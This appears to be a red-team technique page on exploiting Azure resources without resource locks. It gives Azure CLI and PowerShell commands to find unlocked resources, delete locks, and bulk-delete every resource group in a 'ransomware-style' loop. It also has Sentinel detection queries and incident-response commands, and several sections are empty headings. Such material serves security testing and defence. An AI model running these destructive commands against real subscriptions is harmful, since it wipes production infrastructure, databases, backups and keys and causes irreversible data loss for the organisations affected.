MCADDF

[MISCONFIG-020]: Lack of Resource Locks

1. METADATA HEADER

Attribute Details
Technique ID MISCONFIG-020
MITRE ATT&CK v18.1 T1531 - Account Access Removal
Tactic Impact / Resource Disruption
Platforms Entra ID, Azure, Cross-Cloud
Severity High
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions All Azure subscription tiers, all resource types
Patched In Not applicable (configuration control)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Azure Resource Locks (CanNotDelete and ReadOnly locks) are management-level controls that prevent accidental or malicious deletion or modification of critical resources (VMs, databases, storage accounts, key vaults, etc.). If these locks are not applied to production resources, attackers with Contributor or Owner role can delete critical infrastructure, causing immediate business disruption, data loss, and denial of service. This is commonly used in ransomware attacks to prevent recovery from backups.

Attack Surface: Azure Resource Manager (control plane), RBAC permissions, resource group management, subscription-level policies, and delete operations on all resource types.

Business Impact: Immediate availability loss and inability to recover without backup restoration or recreation of resources. With delete access, attackers can destroy databases (with data), storage accounts (with backups), VMs (with running applications), Key Vaults (with encryption keys), and managed identities, causing cascading failures across the entire application ecosystem. Ransomware attacks often combine this with data encryption to prevent recovery.

Technical Context: Exploitation requires delete permissions (typically Contributor or Owner role) on the target resource or resource group. If no locks are present, deletion is instantaneous and difficult to reverse without backups. Locks cannot be bypassed by non-Owner roles, but can be removed by Owner-level principals. Detection is achieved through Azure Activity Logs and audit alerts on lock removal or resource deletion.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 2.1 (Azure) Ensure that subscriptions are protected with resource locks
DISA STIG CM-2, CM-3, CM-5 Baseline Configuration, Configuration Change Control, Separation of Duties
CISA SCuBA IR.1 Incident Response Plan
NIST 800-53 CM-2, CM-3, CM-5, SC-7, IA-2 Configuration Management, Change Control, Separation of Duties
GDPR Art. 32 Security of Processing (availability and integrity of personal data)
DORA Art. 10, Art. 16, Art. 18 Physical and Environmental Security, ICT-Related Incidents
NIS2 Art. 21, Art. 22 Cyber Risk Management, Incident Reporting
ISO 27001 A.12.1, A.14.1 Change Management, Information Security Incident Management
ISO 27005 Availability Risk Risk management for availability of critical systems

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Identifying and Deleting Resources Without Locks

Supported Versions: All Azure subscription tiers

Step 1: Enumerate Resources and Identify Those Without Locks

Objective: List all resources in a resource group and identify which lack protection locks.

Command (Azure CLI - Identify Unprotected Resources):

# List all resources in a resource group
az resource list --resource-group "MyResourceGroup" --query "[].{name: name, type: type, id: id}" --output table

# Check for locks on each resource
az lock list --resource-group "MyResourceGroup" --query "[].{name: name, level: level, resourceName: resourceName}" --output table

# Identify resources WITHOUT locks
az resource list --resource-group "MyResourceGroup" --query "[].id" -o tsv | while read resourceId; do
  lockCount=$(az lock list --resource-name $(echo $resourceId | rev | cut -d'/' -f1 | rev) --resource-group "MyResourceGroup" --query "length([])") 
  if [ "$lockCount" -eq 0 ]; then
    echo "UNPROTECTED: $resourceId"
  fi
done

Expected Output:

UNPROTECTED: /subscriptions/SUB_ID/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/prod-vm-01
UNPROTECTED: /subscriptions/SUB_ID/resourceGroups/MyResourceGroup/providers/Microsoft.Sql/servers/prod-sqlserver
UNPROTECTED: /subscriptions/SUB_ID/resourceGroups/MyResourceGroup/providers/Microsoft.Storage/storageAccounts/proddata

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Delete Critical Resources

Objective: Remove key production resources to cause business disruption.

Command (Azure CLI - Delete Resources):

# Delete a single resource (e.g., VM)
az resource delete --ids "/subscriptions/SUB_ID/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/prod-vm-01" --no-wait

# Delete an entire resource group (cascading deletion of all resources)
az group delete --name "MyResourceGroup" --no-wait --yes

# Delete multiple resources in parallel
az resource list --resource-group "MyResourceGroup" --query "[].id" -o tsv | xargs -P 4 -I {} az resource delete --ids {} --no-wait

Expected Output:

Deletion initiated. Use 'az group delete --name MyResourceGroup --no-wait' to check status.
No resources were deleted as the deletion is in progress.

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Verify Deletion and Impact

Objective: Confirm resources are deleted and assess impact on running applications.

Command (Azure CLI - Verify Deletion):

# Check if resource still exists
az resource show --ids "/subscriptions/SUB_ID/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/prod-vm-01" --query name

# Should return error if deleted

# Verify deleted resources in audit logs
az monitor activity-log list --resource-group "MyResourceGroup" --offset 24h \
  --query "[?operationName.value == 'Microsoft.Compute/virtualMachines/delete'].{Time: eventTimestamp, Caller: caller, Status: status.value}" --output table

Expected Output:

Time: 2025-12-15 15:30:45
Caller: attacker@example.com
Status: Succeeded

What This Means:

References & Proofs:


METHOD 2: Removing Locks Before Deletion (If Locks Exist)

Supported Versions: All Azure subscription tiers

Step 1: Enumerate Existing Locks

Objective: Identify locks protecting resources and determine who can remove them.

Command (Azure CLI - List Locks):

# List all locks in a resource group
az lock list --resource-group "MyResourceGroup" --query "[].{name: name, level: level, owner: owner}" --output table

# List locks on a specific resource
az lock list --resource-name "prod-vm-01" --resource-group "MyResourceGroup" --resource-type "Microsoft.Compute/virtualMachines"

# Check who has permission to remove locks (Owner role required)
az role assignment list --resource-group "MyResourceGroup" --role "Owner" --query "[].principalName"

Expected Output:

Name: prod-vm-delete-lock
Level: CanNotDelete
Owner: SERVTEP (if corporate account)

Name: prod-database-readonly
Level: ReadOnly
Owner: SERVTEP

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Remove Locks (Owner Access Required)

Objective: Delete locks protecting resources so they can be deleted.

Command (Azure CLI - Remove Locks):

# Get the lock ID
lockId=$(az lock list --resource-group "MyResourceGroup" --query "[0].id" -o tsv)

# Delete the lock
az lock delete --ids "$lockId"

# Or delete lock by name
az lock delete --name "prod-vm-delete-lock" --resource-group "MyResourceGroup" --resource-name "prod-vm-01" --resource-type "Microsoft.Compute/virtualMachines"

# Verify lock is removed
az lock list --resource-group "MyResourceGroup"
# Should return empty list

Expected Output:

# Lock deleted successfully; no output returned

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Delete Unprotected Resource

Objective: (Same as METHOD 1, Step 2)

Command (Azure CLI - Delete Resource):

az resource delete --ids "/subscriptions/SUB_ID/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/prod-vm-01" --no-wait

METHOD 3: Bulk Resource Deletion via PowerShell (Ransomware Scenario)

Supported Versions: All Azure subscription tiers

Step 1: Authenticate and Set Context

Objective: Establish connection to Azure subscription with Contributor/Owner credentials.

Command (Azure PowerShell):

# Connect to Azure
Connect-AzAccount

# Set subscription context
Set-AzContext -SubscriptionId "subscription-id"

# List subscriptions user has access to (for lateral movement)
Get-AzSubscription | Select-Object Name, Id

Expected Output:

Name: Production
Id: subscription-id

Name: Development
Id: other-subscription-id

What This Means:

Step 2: Bulk Delete All Resources in Multiple Resource Groups

Objective: Maximize impact by deleting entire resource groups.

Command (Azure PowerShell - Bulk Deletion):

# Get all resource groups
$resourceGroups = Get-AzResourceGroup

# Iterate and delete all resource groups (ransomware-style)
foreach ($rg in $resourceGroups) {
  if ($rg.ResourceGroupName -notmatch "DefaultResourceGroup|MC_") {
    Write-Host "Deleting resource group: $($rg.ResourceGroupName)"
    Remove-AzResourceGroup -Name $rg.ResourceGroupName -Force -NoWait
  }
}

# Alternative: Delete all resources without removing resource groups
Get-AzResource | ForEach-Object {
  Write-Host "Deleting resource: $($_.Name)"
  Remove-AzResource -ResourceId $_.ResourceId -Force -NoWait
}

# Monitor deletion status
Get-AzResourceGroup | Where-Object { $_.ProvisioningState -eq "Deleting" }

Expected Output:

Deleting resource group: Production
Deleting resource group: Staging
Deleting resource group: Development
True (deletion initiated)

What This Means:

OpSec & Evasion:

References & Proofs:


7. TOOLS & COMMANDS REFERENCE

Azure CLI

Version: 2.50+ (current) Minimum Version: 2.0 Supported Platforms: Windows, macOS, Linux

Usage:

az lock delete --name "lock-name" --resource-group "RG-Name"
az resource delete --ids "/path/to/resource"

Azure PowerShell

Version: 9.0+ (current) Minimum Version: 5.0 Supported Platforms: Windows, PowerShell Core 6.0+

Usage:

Remove-AzResourceLock -LockName "lock-name" -ResourceGroupName "RG-Name" -Force
Remove-AzResourceGroup -Name "RG-Name" -Force

9. MICROSOFT SENTINEL DETECTION

Query 1: Detection of Resource Lock Removal

Rule Configuration:

KQL Query:

AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName == "Delete lock"
| where Result == "Success"
| project TimeGenerated, Caller=InitiatedBy.user.userPrincipalName, Operation=OperationName, LockName=TargetResources[0].displayName, ResourceGroup=TargetResources[0].resourceGroupName
| union (
  AzureActivity
  | where TimeGenerated > ago(24h)
  | where OperationName has "Delete" and OperationName has "lock"
  | where ActivityStatus == "Succeeded"
  | project TimeGenerated, Caller=Caller, Operation=OperationName, ResourceName=ResourceName, ResourceGroup=ResourceGroupName
)

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics+ CreateScheduled query rule
  3. General Tab:
    • Name: Critical - Resource Lock Removed
    • Severity: Critical
  4. Set rule logic:
    • Paste KQL query
    • Frequency: 5 minutes
  5. Incident settings:
    • Enable Create incidents
  6. Click Review + create

Query 2: Detection of Resource Deletion Without Lock

Rule Configuration:

KQL Query:

AzureActivity
| where TimeGenerated > ago(24h)
| where OperationName has "Delete" and (OperationName has "virtualMachines" or OperationName has "databases" or OperationName has "storageAccounts")
| where ActivityStatus == "Succeeded"
| summarize Count=count() by Caller, OperationName, ResourceName
| where Count > 1 or OperationName has "resourceGroups"

What This Detects:


10. WINDOWS EVENT LOG MONITORING

Event ID: 4624 (Successful Logon)


12. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Resource locks removed from critical resources”

Manual Configuration Steps:

  1. Go to Azure PortalMicrosoft Defender for Cloud
  2. Go Environment settings → Select subscription
  3. Under Defender plans, ensure all are enabled
  4. Go to Security alerts → Configure alert rules

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening


15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command (Revoke Compromised Credentials):
    # Disable service principal
    az ad sp update --id "service-principal-id" --set "accountEnabled=false"
       
    # Revoke active sessions
    az rest --method post --url "/me/revokeSignInSessions" --headers Content-Type=application/json
    

    Manual (PowerShell):

    # Disable compromised user account
    Disable-AzADUser -UserPrincipalName "compromised@example.com"
    
  2. Collect Evidence: Command (Export Activity Logs for Forensics):
    # Export activity logs for deleted resources
    az monitor activity-log list --resource-group "MyResourceGroup" --offset 72h \
      --query "[?operationName.value contains 'delete'].{Time: eventTimestamp, Caller: caller, Operation: operationName.value, Status: status.value}" \
      > deletion_audit.json
    
  3. Remediate: Command (Restore from Backup):
    # Restore VM from backup
    az backup recovery-point restore --vault-name "my-backup-vault" --container-name "MyVM" --item-name "MyVM" \
      --restore-mode OriginalStorageAccount
       
    # Restore database from backup
    az sql db restore --name "mydb" --resource-group "MyResourceGroup" --server "my-server" \
      --time "2025-12-14T10:00:00Z"
    
  4. Hunt for Lateral Movement: KQL Query (Detect Other Deletions by Same Caller):
    AzureActivity
    | where Caller == "attacker@example.com"
    | where OperationName has "Delete"
    | summarize Count=count() by ResourceName, ResourceType, TimeGenerated
    | where Count > 5
    

Step Phase Technique Description
1 Reconnaissance [REC-CLOUD-005] Azure Resource Graph Enumeration Attacker identifies critical resources and lock status
2 Initial Access [IA-EXPLOIT-001] Azure Application Proxy Exploitation Attacker gains access to Azure subscription
3 Privilege Escalation [PE-VALID-010] Azure Role Assignment Abuse Attacker escalates to Contributor/Owner role
4 Credential Access [CA-TOKEN-001] Hybrid AD Cloud Token Theft Attacker obtains valid Azure credentials
5 Impact [MISCONFIG-020] Lack of Resource Locks Attacker removes locks and deletes critical resources
6 Ransom Demand Ransomware Negotiation Attacker demands payment for restore keys or access recovery

17. REAL-WORLD EXAMPLES

Example 1: Cl0p Ransomware Attacks (2024-2025)

Example 2: LAPSUS$ Azure Deletion Attack (2021-2022)

Example 3: Internal Sabotage - Disgruntled Admin Deletion (2023)